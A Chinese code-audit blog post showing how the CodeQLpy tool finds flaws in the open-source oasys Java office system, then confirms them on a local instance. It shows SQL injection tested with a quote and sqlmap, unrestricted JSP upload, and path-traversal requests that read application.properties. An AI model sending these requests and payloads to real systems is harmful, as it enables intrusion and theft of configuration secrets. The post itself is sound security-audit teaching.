CodeQLpy工具审计oasys

admin 2024年1月6日08:27:32评论20 views字数 14478阅读48分15秒阅读模式

推荐一个CodeQL代码审计工具 CodeQLpy

CodeQLpy是一款基于CodeQL实现的自动化代码审计工具

CodeQLpy用于自动化分析常见WEB应用漏洞,包括但不限于SQL注入、XSS、命令执行、任意文件操作、XXE、SSRF、反序列化等。CodeQLpy不能用于挖掘反序列化利用链。

开源工具:CodeQLpy

https://github.com/webraybtl/CodeQLpy

CodeQLpy使用

本次使用oasys来实践效果

案例源码下载

https://gitee.com/aaluoxiang/oa_system

CodeQL安装

codeql-cli

下载已经编译好的codeql执行程序 https://github.com/github/codeql-cli-binaries/releases

CodeQLpy工具审计oasys

将codeql配置环境变量 

CodeQLpy工具审计oasys

下载QL语言工具包,将ql放在 codeql-cli同一目录 

CodeQLpy工具审计oasys

CodeQLpy配置

修改config/config.ini文件,需要修改的配置项是qlpath和jdk8和jdk11,其他项目可保持默认。注意jdk的路径中有空格的话需要用双引号包裹。

CodeQLpy工具审计oasys

接着运行CodeQLpy工具

codeql数据库初始化

python3 main.py -t C:UsersAnonymousDesktopoa_system

CodeQLpy工具审计oasys

CodeQLpy工具审计oasys

生成codeql数据库

codeql database create out/database/oa_system --language=java --source-root="C:UsersAnonymousDesktopoa_system" --command="C:PenetrationScanToolsScanBoxLeakScanCodeQLpyoutdecode/run.cmd" --overwrite

CodeQLpy工具审计oasys

扫描数据库

python3 main.py -d outdatabaseoa_system

CodeQLpy工具审计oasys

CodeQLpy工具审计oasys

使用CodeQLpy扫描出来sql,文件操作类等漏洞

CodeQLpy工具审计oasys


接下来一一验证漏洞是否存在

漏洞验证

sql注入

baseKey : String outAddress  /oasys/controller/address/AddrController.java  MyBatisMapperXmlSqlInjection
 
baseKey  informListPaging oasys/controller/inform/InformController.java  MyBatisMapperXmlSqlInjection

outtype  outAddress  oasys/controller/address/AddrController.java   MyBatisMapperXmlSqlInjection

alph : String  outAddress  /oasys/controller/address/AddrController.java  
MyBatisMapperXmlSqlInjection

上面是扫描出来漏洞的代码路径和漏洞名称


从mappers xml文件中,也是很明显存在漏洞 使用了${} 导致sql注入

CodeQLpy工具审计oasys


AddrController.java

定位到 AddrController 中 outAddress方法

使用@RequestMapping注解,outAddress指定一个基本的请求路径outaddresspaging

 /**
  外部通讯录
  * @return
  */

 @RequestMapping("outaddresspaging")
 public String outAddress(@RequestParam(value="pageNum",defaultValue="1"int page,Model model,
   @RequestParam(value="baseKey",required=false) String baseKey,
   @RequestParam(value="outtype",required=false) String outtype,
   @RequestParam(value="alph",defaultValue="ALL") String alph,
   @SessionAttribute("userId") Long userId
   ){
  PageHelper.startPage(page, 10);
  List<Map<String, Object>> directors=am.allDirector(userId, alph, outtype, baseKey);
  List<Map<String, Object>> adds=addressService.fengzhaung(directors);
  PageInfo<Map<String, Object>> pageinfo=new PageInfo<>(directors);
  if(!StringUtils.isEmpty(outtype)){
   model.addAttribute("outtype", outtype);
  } 
  Pageable pa=new PageRequest(010);
  
  Page<User> userspage=uDao.findAll(pa);
  List<User> users=userspage.getContent();
  model.addAttribute("modalurl""modalpaging");
  model.addAttribute("modalpage", userspage);
  model.addAttribute("users", users);
  model.addAttribute("userId", userId);
  model.addAttribute("baseKey", baseKey);
  model.addAttribute("directors", adds);
  model.addAttribute("page", pageinfo);
  model.addAttribute("url""outaddresspaging");
  return "address/outaddrss";
 }
 

找到代码功能点处外部通讯录

CodeQLpy工具审计oasys

CodeQLpy工具审计oasys


POST /outaddresspaging HTTP/1.1
Host: 127.0.0.1:8088
Content-Length: 27
sec-ch-ua: "(Not(A:Brand";v="8""Chromium";v="98"
Accept: text/html, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8088
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8088/addrmanage
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=03A69F27EEB982FC6070A35EA28B41B8
Connection: close

alph=ALL&outtype=&baseKey=1

在baseKey=1' 加上单引号,从日志中看到sql报错了 

CodeQLpy工具审计oasys

直接放到sqlmap跑,

CodeQLpy工具审计oasys

InformController.java baseKey

 /**
  * 通知列表的分页
  */

 @RequestMapping("informlistpaging")
 public String informListPaging(@RequestParam(value = "pageNum", defaultValue = "1"int page,
   @RequestParam(value = "baseKey", required = false) String baseKey, 
   @RequestParam(value="type",required=false) Integer type,
   @RequestParam(value="status",required=false) Integer status,
   @RequestParam(value="time",required=false) Integer time,
   @RequestParam(value="icon",required=false) String icon,
   @SessionAttribute("userId") Long userId,
   Model model,HttpServletRequest req){
  System.out.println("baseKey:"+baseKey);
  System.out.println("page:"+page);
  setSomething(baseKey, type, status, time, icon, model);
  PageHelper.startPage(page, 10);
  List<Map<String, Object>> list=nm.sortMyNotice(userId, baseKey, type, status, time);
  PageInfo<Map<String, Object>> pageinfo=new PageInfo<Map<String, Object>>(list);
  List<Map<String, Object>> list2=informRelationService.setList(list);
  for (Map<String, Object> map : list2) {
   System.out.println(map);
  }
  model.addAttribute("url""informlistpaging");
  model.addAttribute("list", list2);
  model.addAttribute("page", pageinfo);
 return "inform/informlistpaging";

}

漏洞功能点

CodeQLpy工具审计oasys

GET /informlistpaging?baseKey=1 HTTP/1.1
Host: 127.0.0.1:8088
sec-ch-ua: "(Not(A:Brand";v="8""Chromium";v="98"
Accept: text/html, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8088/infromlist
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=03A69F27EEB982FC6070A35EA28B41B8
Connection: close

CodeQLpy工具审计oasys

CodeQLpy工具审计oasys

文件上传

AddrController.java savaAddress

 /**
  * 保存外部联系人
  * @throws IOException 
  * @throws IllegalStateException 
  */

 @RequestMapping("savaaddress")
 public String savaAddress(@Valid Director director,DirectorUser directorUser,BindingResult br,@RequestParam("file")MultipartFile file,HttpSession session,
   Model model,@SessionAttribute("userId") Long userId,HttpServletRequest req) throws PinyinException, IllegalStateException, IOException{

  User user=uDao.findOne(userId);
  ResultVO res = BindingResultVOUtil.hasErrors(br);
  if (!ResultEnum.SUCCESS.getCode().equals(res.getCode())) {
   System.out.println("输入信息有误!");
  }else{
   String pinyin=PinyinHelper.convertToPinyinString(director.getUserName(), "", PinyinFormat.WITHOUT_TONE);
   director.setPinyin(pinyin);
   director.setMyuser(user);
   if(!StringUtils.isEmpty(session.getAttribute("did"))){
    /*修改*/
    
    Long did=Long.parseLong(session.getAttribute("did")+"");
    Director di=addressDao.findOne(did);
    director.setDirectorId(di.getDirectorId());
    director.setAttachment(di.getAttachment());
    DirectorUser dc=auDao.findByDirectorAndUser(director, user);
    directorUser.setDirectorUserId(dc.getDirectorUserId());
    session.removeAttribute("did");
   }
   //试一下
   if(file.getSize()>0){
    Attachment attaid=mservice.upload(file, user);
    attaid.setModel("aoa_bursement");
    Attachment att=AttDao.save(attaid);
    /*Attachment att= (Attachment) fileServices.savefile(file, user, null, false);*/
    director.setAttachment(att.getAttachmentId());
   }
   
   directorUser.setHandle(true);
   directorUser.setDirector(director);
   directorUser.setUser(user);
   addressService.sava(director);
   addressUserService.save(directorUser);
  }
  return "redirect:/addrmanage";
 }
 if(file.getSize()>0){
    Attachment attaid=mservice.upload(file, user);
    attaid.setModel("aoa_bursement");
    Attachment att=AttDao.save(attaid);
    /*Attachment att= (Attachment) fileServices.savefile(file, user, null, false);*/
    director.setAttachment(att.getAttachmentId());
   }

在AddrController.java类中,savaAddress 方法中使用了 MailServices.java的upload方法

 /**
  * 上传附件
  * @throws IOException 
  * @throws IllegalStateException 
  */

 public Attachment upload(MultipartFile file,User mu) throws IllegalStateException, IOException{
  SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy/MM");
  File root = new File(rootpath,simpleDateFormat.format(new Date()));
  File savepath = new File(root,mu.getUserName());
  
  if (!savepath.exists()) {
   savepath.mkdirs();
  }
  String fileName=file.getOriginalFilename();
  if(!StringUtil.isEmpty(fileName)){
   String suffix=FilenameUtils.getExtension(fileName);
   String newFileName = UUID.randomUUID().toString().toLowerCase()+"."+suffix;
   File targetFile = new File(savepath,newFileName);
   file.transferTo(targetFile);
   
   Attachment attachment=new Attachment();
   attachment.setAttachmentName(file.getOriginalFilename());
   attachment.setAttachmentPath(targetFile.getAbsolutePath().replace("\""/").replace(rootpath, ""));
   attachment.setAttachmentShuffix(suffix);
   attachment.setAttachmentSize(file.getSize());
   attachment.setAttachmentType(file.getContentType());
   attachment.setUploadTime(new Date());
   attachment.setUserId(mu.getUserId()+"");
   
   return attachment;
  }
  return null;
 }

从代码中文件上传,没有做任何的限制,直接上传jsp文件 

CodeQLpy工具审计oasys

CodeQLpy工具审计oasys

CodeQLpy工具审计oasys

只要使用了 nservice.upload 方法的,都存在文件上传漏洞

CodeQLpy工具审计oasys

FileServices.java

savefile方法中,也没有对上传的文件后缀进行限制,直接找到调用savefile位置

 public Object savefile(MultipartFile file,User user,FilePath nowpath,boolean isfile) throws IllegalStateException, IOException{
  SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy/MM");
  File root = new File(this.rootPath,simpleDateFormat.format(new Date()));
  
  File savepath = new File(root,user.getUserName());
  //System.out.println(savePath.getPath());
  
  if (!savepath.exists()) {
   savepath.mkdirs();
  }
  
  String shuffix = FilenameUtils.getExtension(file.getOriginalFilename());
  log.info("shuffix:{}",shuffix);
  String newFileName = UUID.randomUUID().toString().toLowerCase()+"."+shuffix;
  File targetFile = new File(savepath,newFileName);
  file.transferTo(targetFile);
  
  if(isfile){
   FileList filelist = new FileList();
   String filename = file.getOriginalFilename();
   filename = onlyname(filename,nowpath,shuffix,1,true);
   filelist.setFileName(filename);
   filelist.setFilePath(targetFile.getAbsolutePath().replace("\""/").replace(this.rootPath, ""));
   filelist.setFileShuffix(shuffix);
   filelist.setSize(file.getSize());
   filelist.setUploadTime(new Date());
   filelist.setFpath(nowpath);
   filelist.setContentType(file.getContentType());
   filelist.setUser(user);
   fldao.save(filelist);
   return filelist;
  }else{
   Attachment attachment=new Attachment();
   attachment.setAttachmentName(file.getOriginalFilename());
   attachment.setAttachmentPath(targetFile.getAbsolutePath().replace("\""/").replace(this.rootPath, ""));
   attachment.setAttachmentShuffix(shuffix);
   attachment.setAttachmentSize(file.getSize());
   attachment.setAttachmentType(file.getContentType());
   attachment.setUploadTime(new Date());
   attachment.setUserId(user.getUserId()+"");
   attachment.setModel("note");
   AttDao.save(attachment);
   return attachment;
  }
 }

FileController 中调用了savefile

 /**
  * 文件上传 controller方法
  */

 @RequestMapping("fileupload")
 public String uploadfile(@RequestParam("file") MultipartFile file, @RequestParam("pathid") Long pathid,
   HttpSession session, Model model) throws IllegalStateException, IOException {
  Long userid = Long.parseLong(session.getAttribute("userId") + "");
  User user = udao.findOne(userid);
  FilePath nowpath = fpdao.findOne(pathid);
  // true 表示从文件使用上传
  FileList uploadfile = (FileList) fs.savefile(file, user, nowpath, true);
  System.out.println(uploadfile);
  
  model.addAttribute("pathid", pathid);
  return "forward:/filetest";
 }


CodeQLpy工具审计oasys

CodeQLpy工具审计oasys

文件读取漏洞

getRequestURI(...) : String  image  /process/ProcedureController.java
getRequestURI(...) : String  image  /user/UserpanelController.java

ProcedureController

/**
   * 图片预览
   * @param response
   * @param fileid
   */

  @RequestMapping("show/**")
  public void image(Model model, HttpServletResponse response, @SessionAttribute("userId") Long userId, HttpServletRequest request)
    throws IOException {

   String startpath = new String(URLDecoder.decode(request.getRequestURI(), "utf-8"));
   
   String path = startpath.replace("/show""");
   
   File f = new File(rootpath, path);
   System.out.println(f.getAbsolutePath());
   ServletOutputStream sos = response.getOutputStream();
   FileInputStream input = new FileInputStream(f.getPath());
   byte[] data = new byte[(int) f.length()];
   IOUtils.readFully(input, data);
   // 将文件流输出到浏览器
   IOUtils.write(data, sos);
   input.close();
   sos.close();
  }

String path = startpath.replace("/show", "");  在获取文件路径时,会将/show替换为空,所以我们需要满足代码要求

/show/show../../application.properties 执行这时 代码会将/show替换为空,所以就变成了/show/../../application.properties

GET /show/show../../application.properties HTTP/1.1
Host: 127.0.0.1:8088
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8""Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://127.0.0.1:8088/addrmanage
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=03A69F27EEB982FC6070A35EA28B41B8
Connection: close


CodeQLpy工具审计oasys

UserpanelController

跟ProcedureController show方法是一样的利用方法

 @RequestMapping("image/**")
 public void image(Model model, HttpServletResponse response, @SessionAttribute("userId") Long userId, HttpServletRequest request)
   throws Exception {
  String projectPath = ClassUtils.getDefaultClassLoader().getResource("").getPath();
  System.out.println(projectPath);
  String startpath = new String(URLDecoder.decode(request.getRequestURI(), "utf-8"));
  
  String path = startpath.replace("/image""");
  
  File f = new File(rootpath, path);
  
  ServletOutputStream sos = response.getOutputStream();
  FileInputStream input = new FileInputStream(f.getPath());
  byte[] data = new byte[(int) f.length()];
  IOUtils.readFully(input, data);
  // 将文件流输出到浏览器
  IOUtils.write(data, sos);
  input.close();
  sos.close();
 }

`

GET /image/image../../application.properties HTTP/1.1
Host: 127.0.0.1:8088
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8""Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://127.0.0.1:8088/addrmanage
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=03A69F27EEB982FC6070A35EA28B41B8
Connection: close


CodeQLpy工具审计oasys

CodeQL使用感受

总的来说 CodeQL代码审计工具,扫描sql注入,文件操作类效果还是可以的,扫描速度也不慢。

- END -

原文始发于微信公众号(安全逐梦人):CodeQLpy工具审计oasys

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月6日08:27:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CodeQLpy工具审计oasyshttp://cn-sec.com/archives/2369829.html

发表评论

匿名网友 填写信息